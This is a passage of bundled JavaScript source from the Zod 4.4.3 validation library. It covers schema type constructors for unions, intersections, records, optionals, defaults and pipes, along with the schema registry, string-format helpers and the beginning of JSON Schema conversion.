RegExp(`^(${patterns.map((p) => cleanRegex(p.source)).join(\"|\")})$`);\n }\n });\n const first = def.options.length === 1 ? def.options[0]._zod.run : null;\n inst._zod.parse = (payload, ctx) => {\n if (first) return first(payload, ctx);\n let async = false;\n const results = [];\n for (const option of def.options) {\n const result = option._zod.run({\n value: payload.value,\n issues: []\n }, ctx);\n if (result instanceof Promise) {\n results.push(result);\n async = true;\n } else {\n if (result.issues.length === 0) return result;\n results.push(result);\n }\n }\n if (!async) return handleUnionResults(results, payload, inst, ctx);\n return Promise.all(results).then((results) => {\n return handleUnionResults(results, payload, inst, ctx);\n });\n };\n});\nconst $ZodIntersection = /*@__PURE__*/ $constructor(\"$ZodIntersection\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n const left = def.left._zod.run({\n value: input,\n issues: []\n }, ctx);\n const right = def.right._zod.run({\n value: input,\n issues: []\n }, ctx);\n if (left instanceof Promise || right instanceof Promise) return Promise.all([left, right]).then(([left, right]) => {\n return handleIntersectionResults(payload, left, right);\n });\n return handleIntersectionResults(payload, left, right);\n };\n});\nfunction mergeValues(a, b) {\n if (a === b) return {\n valid: true,\n data: a\n };\n if (a instanceof Date && b instanceof Date && +a === +b) return {\n valid: true,\n data: a\n };\n if (isPlainObject(a) && isPlainObject(b)) {\n const bKeys = Object.keys(b);\n const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1);\n const newObj = {\n ...a,\n ...b\n };\n for (const key of sharedKeys) {\n const sharedValue = mergeValues(a[key], b[key]);\n if (!sharedValue.valid) return {\n valid: false,\n mergeErrorPath: [key, ...sharedValue.mergeErrorPath]\n };\n newObj[key] = sharedValue.data;\n }\n return {\n valid: true,\n data: newObj\n };\n }\n if (Array.isArray(a) && Array.isArray(b)) {\n if (a.length !== b.length) return {\n valid: false,\n mergeErrorPath: []\n };\n const newArray = [];\n for (let index = 0; index < a.length; index++) {\n const itemA = a[index];\n const itemB = b[index];\n const sharedValue = mergeValues(itemA, itemB);\n if (!sharedValue.valid) return {\n valid: false,\n mergeErrorPath: [index, ...sharedValue.mergeErrorPath]\n };\n newArray.push(sharedValue.data);\n }\n return {\n valid: true,\n data: newArray\n };\n }\n return {\n valid: false,\n mergeErrorPath: []\n };\n}\nfunction handleIntersectionResults(result, left, right) {\n const unrecKeys = /* @__PURE__ */ new Map();\n let unrecIssue;\n for (const iss of left.issues) if (iss.code === \"unrecognized_keys\") {\n unrecIssue ?? (unrecIssue = iss);\n for (const k of iss.keys) {\n if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n unrecKeys.get(k).l = true;\n }\n } else result.issues.push(iss);\n for (const iss of right.issues) if (iss.code === \"unrecognized_keys\") for (const k of iss.keys) {\n if (!unrecKeys.has(k)) unrecKeys.set(k, {});\n unrecKeys.get(k).r = true;\n }\n else result.issues.push(iss);\n const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k);\n if (bothKeys.length && unrecIssue) result.issues.push({\n ...unrecIssue,\n keys: bothKeys\n });\n if (aborted(result)) return result;\n const merged = mergeValues(left.value, right.value);\n if (!merged.valid) throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`);\n result.value = merged.data;\n return result;\n}\nconst $ZodRecord = /*@__PURE__*/ $constructor(\"$ZodRecord\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n if (!isPlainObject(input)) {\n payload.issues.push({\n expected: \"record\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n const proms = [];\n const values = def.keyType._zod.values;\n if (values) {\n payload.value = {};\n const recordKeys = /* @__PURE__ */ new Set();\n for (const key of values) if (typeof key === \"string\" || typeof key === \"number\" || typeof key === \"symbol\") {\n recordKeys.add(typeof key === \"number\" ? key.toString() : key);\n const keyResult = def.keyType._zod.run({\n value: key,\n issues: []\n }, ctx);\n if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (keyResult.issues.length) {\n payload.issues.push({\n code: \"invalid_key\",\n origin: \"record\",\n issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n input: key,\n path: [key],\n inst\n });\n continue;\n }\n const outKey = keyResult.value;\n const result = def.valueType._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[outKey] = result.value;\n }));\n else {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[outKey] = result.value;\n }\n }\n let unrecognized;\n for (const key in input) if (!recordKeys.has(key)) {\n unrecognized = unrecognized ?? [];\n unrecognized.push(key);\n }\n if (unrecognized && unrecognized.length > 0) payload.issues.push({\n code: \"unrecognized_keys\",\n input,\n inst,\n keys: unrecognized\n });\n } else {\n payload.value = {};\n for (const key of Reflect.ownKeys(input)) {\n if (key === \"__proto__\") continue;\n if (!Object.prototype.propertyIsEnumerable.call(input, key)) continue;\n let keyResult = def.keyType._zod.run({\n value: key,\n issues: []\n }, ctx);\n if (keyResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (typeof key === \"string\" && number.test(key) && keyResult.issues.length) {\n const retryResult = def.keyType._zod.run({\n value: Number(key),\n issues: []\n }, ctx);\n if (retryResult instanceof Promise) throw new Error(\"Async schemas not supported in object keys currently\");\n if (retryResult.issues.length === 0) keyResult = retryResult;\n }\n if (keyResult.issues.length) {\n if (def.mode === \"loose\") payload.value[key] = input[key];\n else payload.issues.push({\n code: \"invalid_key\",\n origin: \"record\",\n issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())),\n input: key,\n path: [key],\n inst\n });\n continue;\n }\n const result = def.valueType._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[keyResult.value] = result.value;\n }));\n else {\n if (result.issues.length) payload.issues.push(...prefixIssues(key, result.issues));\n payload.value[keyResult.value] = result.value;\n }\n }\n }\n if (proms.length) return Promise.all(proms).then(() => payload);\n return payload;\n };\n});\nconst $ZodEnum = /*@__PURE__*/ $constructor(\"$ZodEnum\", (inst, def) => {\n $ZodType.init(inst, def);\n const values = getEnumValues(def.entries);\n const valuesSet = new Set(values);\n inst._zod.values = valuesSet;\n inst._zod.pattern = new RegExp(`^(${values.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === \"string\" ? escapeRegex(o) : o.toString()).join(\"|\")})$`);\n inst._zod.parse = (payload, _ctx) => {\n const input = payload.value;\n if (valuesSet.has(input)) return payload;\n payload.issues.push({\n code: \"invalid_value\",\n values,\n input,\n inst\n });\n return payload;\n };\n});\nconst $ZodTransform = /*@__PURE__*/ $constructor(\"$ZodTransform\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n const _out = def.transform(payload.value, payload);\n if (ctx.async) return (_out instanceof Promise ? _out : Promise.resolve(_out)).then((output) => {\n payload.value = output;\n payload.fallback = true;\n return payload;\n });\n if (_out instanceof Promise) throw new $ZodAsyncError();\n payload.value = _out;\n payload.fallback = true;\n return payload;\n };\n});\nfunction handleOptionalResult(result, input) {\n if (input === void 0 && (result.issues.length || result.fallback)) return {\n issues: [],\n value: void 0\n };\n return result;\n}\nconst $ZodOptional = /*@__PURE__*/ $constructor(\"$ZodOptional\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n inst._zod.optout = \"optional\";\n defineLazy(inst._zod, \"values\", () => {\n return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0;\n });\n defineLazy(inst._zod, \"pattern\", () => {\n const pattern = def.innerType._zod.pattern;\n return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n if (def.innerType._zod.optin === \"optional\") {\n const input = payload.value;\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((r) => handleOptionalResult(r, input));\n return handleOptionalResult(result, input);\n }\n if (payload.value === void 0) return payload;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodExactOptional = /*@__PURE__*/ $constructor(\"$ZodExactOptional\", (inst, def) => {\n $ZodOptional.init(inst, def);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n defineLazy(inst._zod, \"pattern\", () => def.innerType._zod.pattern);\n inst._zod.parse = (payload, ctx) => {\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodNullable = /*@__PURE__*/ $constructor(\"$ZodNullable\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"optin\", () => def.innerType._zod.optin);\n defineLazy(inst._zod, \"optout\", () => def.innerType._zod.optout);\n defineLazy(inst._zod, \"pattern\", () => {\n const pattern = def.innerType._zod.pattern;\n return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0;\n });\n defineLazy(inst._zod, \"values\", () => {\n return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n if (payload.value === null) return payload;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodDefault = /*@__PURE__*/ $constructor(\"$ZodDefault\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n if (payload.value === void 0) {\n payload.value = def.defaultValue;\n /**\n * $ZodDefault returns the default value immediately in forward direction.\n * It doesn't pass the default value into the validator (\"prefault\"). There's no reason to pass the default value through validation. The validity of the default is enforced by TypeScript statically. Otherwise, it's the responsibility of the user to ensure the default is valid. In the case of pipes with divergent in/out types, you can specify the default on the `in` schema of your ZodPipe to set a \"prefault\" for the pipe. */\n return payload;\n }\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => handleDefaultResult(result, def));\n return handleDefaultResult(result, def);\n };\n});\nfunction handleDefaultResult(payload, def) {\n if (payload.value === void 0) payload.value = def.defaultValue;\n return payload;\n}\nconst $ZodPrefault = /*@__PURE__*/ $constructor(\"$ZodPrefault\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n if (payload.value === void 0) payload.value = def.defaultValue;\n return def.innerType._zod.run(payload, ctx);\n };\n});\nconst $ZodNonOptional = /*@__PURE__*/ $constructor(\"$ZodNonOptional\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"values\", () => {\n const v = def.innerType._zod.values;\n return v ? new Set([...v].filter((x) => x !== void 0)) : void 0;\n });\n inst._zod.parse = (payload, ctx) => {\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => handleNonOptionalResult(result, inst));\n return handleNonOptionalResult(result, inst);\n };\n});\nfunction handleNonOptionalResult(payload, inst) {\n if (!payload.issues.length && payload.value === void 0) payload.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: payload.value,\n inst\n });\n return payload;\n}\nconst $ZodCatch = /*@__PURE__*/ $constructor(\"$ZodCatch\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.optin = \"optional\";\n defineLazy(inst._zod, \"optout\", () => def.innerType._zod.optout);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then((result) => {\n payload.value = result.value;\n if (result.issues.length) {\n payload.value = def.catchValue({\n ...payload,\n error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n input: payload.value\n });\n payload.issues = [];\n payload.fallback = true;\n }\n return payload;\n });\n payload.value = result.value;\n if (result.issues.length) {\n payload.value = def.catchValue({\n ...payload,\n error: { issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) },\n input: payload.value\n });\n payload.issues = [];\n payload.fallback = true;\n }\n return payload;\n };\n});\nconst $ZodPipe = /*@__PURE__*/ $constructor(\"$ZodPipe\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"values\", () => def.in._zod.values);\n defineLazy(inst._zod, \"optin\", () => def.in._zod.optin);\n defineLazy(inst._zod, \"optout\", () => def.out._zod.optout);\n defineLazy(inst._zod, \"propValues\", () => def.in._zod.propValues);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") {\n const right = def.out._zod.run(payload, ctx);\n if (right instanceof Promise) return right.then((right) => handlePipeResult(right, def.in, ctx));\n return handlePipeResult(right, def.in, ctx);\n }\n const left = def.in._zod.run(payload, ctx);\n if (left instanceof Promise) return left.then((left) => handlePipeResult(left, def.out, ctx));\n return handlePipeResult(left, def.out, ctx);\n };\n});\nfunction handlePipeResult(left, next, ctx) {\n if (left.issues.length) {\n left.aborted = true;\n return left;\n }\n return next._zod.run({\n value: left.value,\n issues: left.issues,\n fallback: left.fallback\n }, ctx);\n}\nconst $ZodReadonly = /*@__PURE__*/ $constructor(\"$ZodReadonly\", (inst, def) => {\n $ZodType.init(inst, def);\n defineLazy(inst._zod, \"propValues\", () => def.innerType._zod.propValues);\n defineLazy(inst._zod, \"values\", () => def.innerType._zod.values);\n defineLazy(inst._zod, \"optin\", () => def.innerType?._zod?.optin);\n defineLazy(inst._zod, \"optout\", () => def.innerType?._zod?.optout);\n inst._zod.parse = (payload, ctx) => {\n if (ctx.direction === \"backward\") return def.innerType._zod.run(payload, ctx);\n const result = def.innerType._zod.run(payload, ctx);\n if (result instanceof Promise) return result.then(handleReadonlyResult);\n return handleReadonlyResult(result);\n };\n});\nfunction handleReadonlyResult(payload) {\n payload.value = Object.freeze(payload.value);\n return payload;\n}\nconst $ZodCustom = /*@__PURE__*/ $constructor(\"$ZodCustom\", (inst, def) => {\n $ZodCheck.init(inst, def);\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, _) => {\n return payload;\n };\n inst._zod.check = (payload) => {\n const input = payload.value;\n const r = def.fn(input);\n if (r instanceof Promise) return r.then((r) => handleRefineResult(r, payload, input, inst));\n handleRefineResult(r, payload, input, inst);\n };\n});\nfunction handleRefineResult(result, payload, input, inst) {\n if (!result) {\n const _iss = {\n code: \"custom\",\n input,\n inst,\n path: [...inst._zod.def.path ?? []],\n continue: !inst._zod.def.abort\n };\n if (inst._zod.def.params) _iss.params = inst._zod.def.params;\n payload.issues.push(issue(_iss));\n }\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/registries.js\nvar _a;\nvar $ZodRegistry = class {\n constructor() {\n this._map = /* @__PURE__ */ new WeakMap();\n this._idmap = /* @__PURE__ */ new Map();\n }\n add(schema, ..._meta) {\n const meta = _meta[0];\n this._map.set(schema, meta);\n if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.set(meta.id, schema);\n return this;\n }\n clear() {\n this._map = /* @__PURE__ */ new WeakMap();\n this._idmap = /* @__PURE__ */ new Map();\n return this;\n }\n remove(schema) {\n const meta = this._map.get(schema);\n if (meta && typeof meta === \"object\" && \"id\" in meta) this._idmap.delete(meta.id);\n this._map.delete(schema);\n return this;\n }\n get(schema) {\n const p = schema._zod.parent;\n if (p) {\n const pm = { ...this.get(p) ?? {} };\n delete pm.id;\n const f = {\n ...pm,\n ...this._map.get(schema)\n };\n return Object.keys(f).length ? f : void 0;\n }\n return this._map.get(schema);\n }\n has(schema) {\n return this._map.has(schema);\n }\n};\nfunction registry() {\n return new $ZodRegistry();\n}\n(_a = globalThis).__zod_globalRegistry ?? (_a.__zod_globalRegistry = registry());\nconst globalRegistry = globalThis.__zod_globalRegistry;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/api.js\n// @__NO_SIDE_EFFECTS__\nfunction _string(Class, params) {\n return new Class({\n type: \"string\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _email(Class, params) {\n return new Class({\n type: \"string\",\n format: \"email\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _guid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"guid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v4\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v6\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uuidv7(Class, params) {\n return new Class({\n type: \"string\",\n format: \"uuid\",\n check: \"string_format\",\n abort: false,\n version: \"v7\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _url(Class, params) {\n return new Class({\n type: \"string\",\n format: \"url\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _emoji(Class, params) {\n return new Class({\n type: \"string\",\n format: \"emoji\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _nanoid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"nanoid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link _cuid2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\n// @__NO_SIDE_EFFECTS__\nfunction _cuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cuid2(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cuid2\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ulid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ulid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _xid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"xid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ksuid(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ksuid\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ipv4\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _ipv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"ipv6\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv4(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cidrv4\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _cidrv6(Class, params) {\n return new Class({\n type: \"string\",\n format: \"cidrv6\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64(Class, params) {\n return new Class({\n type: \"string\",\n format: \"base64\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _base64url(Class, params) {\n return new Class({\n type: \"string\",\n format: \"base64url\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _e164(Class, params) {\n return new Class({\n type: \"string\",\n format: \"e164\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _jwt(Class, params) {\n return new Class({\n type: \"string\",\n format: \"jwt\",\n check: \"string_format\",\n abort: false,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDateTime(Class, params) {\n return new Class({\n type: \"string\",\n format: \"datetime\",\n check: \"string_format\",\n offset: false,\n local: false,\n precision: null,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDate(Class, params) {\n return new Class({\n type: \"string\",\n format: \"date\",\n check: \"string_format\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoTime(Class, params) {\n return new Class({\n type: \"string\",\n format: \"time\",\n check: \"string_format\",\n precision: null,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _isoDuration(Class, params) {\n return new Class({\n type: \"string\",\n format: \"duration\",\n check: \"string_format\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _unknown(Class) {\n return new Class({ type: \"unknown\" });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _never(Class, params) {\n return new Class({\n type: \"never\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _maxLength(maximum, params) {\n return new $ZodCheckMaxLength({\n check: \"max_length\",\n ...normalizeParams(params),\n maximum\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _minLength(minimum, params) {\n return new $ZodCheckMinLength({\n check: \"min_length\",\n ...normalizeParams(params),\n minimum\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _length(length, params) {\n return new $ZodCheckLengthEquals({\n check: \"length_equals\",\n ...normalizeParams(params),\n length\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _regex(pattern, params) {\n return new $ZodCheckRegex({\n check: \"string_format\",\n format: \"regex\",\n ...normalizeParams(params),\n pattern\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _lowercase(params) {\n return new $ZodCheckLowerCase({\n check: \"string_format\",\n format: \"lowercase\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _uppercase(params) {\n return new $ZodCheckUpperCase({\n check: \"string_format\",\n format: \"uppercase\",\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _includes(includes, params) {\n return new $ZodCheckIncludes({\n check: \"string_format\",\n format: \"includes\",\n ...normalizeParams(params),\n includes\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _startsWith(prefix, params) {\n return new $ZodCheckStartsWith({\n check: \"string_format\",\n format: \"starts_with\",\n ...normalizeParams(params),\n prefix\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _endsWith(suffix, params) {\n return new $ZodCheckEndsWith({\n check: \"string_format\",\n format: \"ends_with\",\n ...normalizeParams(params),\n suffix\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _overwrite(tx) {\n return new $ZodCheckOverwrite({\n check: \"overwrite\",\n tx\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _normalize(form) {\n return /* @__PURE__ */ _overwrite((input) => input.normalize(form));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _trim() {\n return /* @__PURE__ */ _overwrite((input) => input.trim());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toLowerCase() {\n return /* @__PURE__ */ _overwrite((input) => input.toLowerCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _toUpperCase() {\n return /* @__PURE__ */ _overwrite((input) => input.toUpperCase());\n}\n// @__NO_SIDE_EFFECTS__\nfunction _slugify() {\n return /* @__PURE__ */ _overwrite((input) => slugify(input));\n}\n// @__NO_SIDE_EFFECTS__\nfunction _array(Class, element, params) {\n return new Class({\n type: \"array\",\n element,\n ...normalizeParams(params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _refine(Class, fn, _params) {\n return new Class({\n type: \"custom\",\n check: \"custom\",\n fn,\n ...normalizeParams(_params)\n });\n}\n// @__NO_SIDE_EFFECTS__\nfunction _superRefine(fn, params) {\n const ch = /* @__PURE__ */ _check((payload) => {\n payload.addIssue = (issue$2) => {\n if (typeof issue$2 === \"string\") payload.issues.push(issue(issue$2, payload.value, ch._zod.def));\n else {\n const _issue = issue$2;\n if (_issue.fatal) _issue.continue = false;\n _issue.code ?? (_issue.code = \"custom\");\n _issue.input ?? (_issue.input = payload.value);\n _issue.inst ?? (_issue.inst = ch);\n _issue.continue ?? (_issue.continue = !ch._zod.def.abort);\n payload.issues.push(issue(_issue));\n }\n };\n return fn(payload.value, payload);\n }, params);\n return ch;\n}\n// @__NO_SIDE_EFFECTS__\nfunction _check(fn, params) {\n const ch = new $ZodCheck({\n check: \"custom\",\n ...normalizeParams(params)\n });\n ch._zod.check = fn;\n return ch;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js\nfunction initializeContext(params) {\n let target = params?.target ?? \"draft-2020-12\";\n if (target === \"draft-4\") target = \"draft-04\";\n if (target === \"draft-7\") target = \"draft-07\";\n return {\n processors: params.processors ?? {},\n metadataRegistry: params?.metadata ?? globalRegistry,\n target,\n unrepresentable: params?.unrepresentable ?? \"throw\",\n override: params?.override ?? (() => {}),\n io: params?.io ?? \"output\",\n counter: 0,\n seen: /* @__PURE__ */ new Map(),\n cycles: params?.cycles ?? \"ref\",\n reused: params?.reused ?? \"inline\",\n external: params?.external ?? void 0\n };\n}\nfunction process$1(schema, ctx, _params = {\n path: [],\n schemaPath: []\n}) {\n var _a;\n const def = schema._zod.def;\n const seen = ctx.seen.get(schema);\n if (seen) {\n seen.count++;\n if (_params.schemaPath.includes(schema)) seen.cycle = _params.path;\n return seen.schema;\n }\n const result = {\n schema: {},\n count: 1,\n cycle: void 0,\n path: _params.path\n };\n ctx.seen.set(schema, result);\n const overrideSchema = schema._zod.toJSONSchema?.();\n if (overrideSchema) result.schema = overrideSchema;\n else {\n const params = {\n ..._params,\n schemaPath: [..._params.schemaPath, schema],\n path: _params.path\n };\n if (schema._zod.processJSONSchema) schema._zod.processJSONSchema(ctx, result.schema, params);\n else {\n const _json = result.schema;\n const processor = ctx.processors[def.type];\n if (!processor) throw new Error(`[toJSONSchema]: Non-representable type encountered: ${def.type}`);\n processor(schema, ctx, _json, params);\n }\n const parent = schema._zod.parent;\n if (parent) {\n if (!result.ref) result.ref = parent;\n process$1(parent, ctx, params);\n ctx.seen.get(parent).isParent = true;\n }\n }\n const meta = ctx.metadataRegistry.get(schema);\n if (meta) Object.assign(result.schema, meta);\n if (ctx.io === \"input\" && isTransforming(schema)) {\n delete result.schema.examples;\n delete result.schema.default;\n }\n if (ctx.io === \"input\" && \"_prefault\" in result.schema) (_a = result.schema).default ?? (_a.default = result.schema._prefault);\n delete result.schema._prefault;\n return ctx.seen.get(schema).schema;\n}\nfunction extractDefs(ctx, schema) {\n const root = ctx.seen.get(schema);\n if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n const idToSchema = /* @__PURE__ */ new Map();\n for (const entry of ctx.seen.entries()) {\n const id = ctx.metadataRegistry.get(entry[0])?.id;\n if (id) {\n const existing = idToSchema.get(id);\n if (existing && existing !== entry[0]) throw new Error(`Duplicate schema id \"${id}\" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`);\n idToSchema.set(id, entry[0]);\n }\n }\n const makeURI = (entry) => {\n const defsSegment = ctx.target === \"draft-2020-12\" ? \"$defs\" : \"definitions\";\n if (ctx.external) {\n const externalId = ctx.external.registry.get(entry[0])?.id;\n const uriGenerator = ctx.external.uri ?? ((id) => id);\n if (externalId) return { ref: uriGenerator(externalId) };\n const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`;\n entry[1].defId = id;\n return {\n defId: id,\n ref: `${uriGenerator(\"__shared\")}#/${defsSegment}/${id}`\n };\n }\n if (entry[1] === root) return { ref: \"#\" };\n const defUriPrefix = `#/${defsSegment}/`;\n const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`;\n return {\n defId,\n ref: defUriPrefix + defId\n };\n };\n const extractToDef = (entry) => {\n if (entry[1].schema.$ref) return;\n const seen = entry[1];\n const { ref, defId } = makeURI(entry);\n seen.def = { ...seen.schema };\n if (defId) seen.defId = defId;\n const schema = seen.schema;\n for (const key in schema) delete schema[key];\n schema.$ref = ref;\n };\n if (ctx.cycles === \"throw\") for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (seen.cycle) throw new Error(`Cycle detected: #/${seen.cycle?.join(\"/\")}/<root>\n\nSet the \\`cycles\\` parameter to \\`\"ref\"\\` to resolve cyclical schemas with defs.`);\n 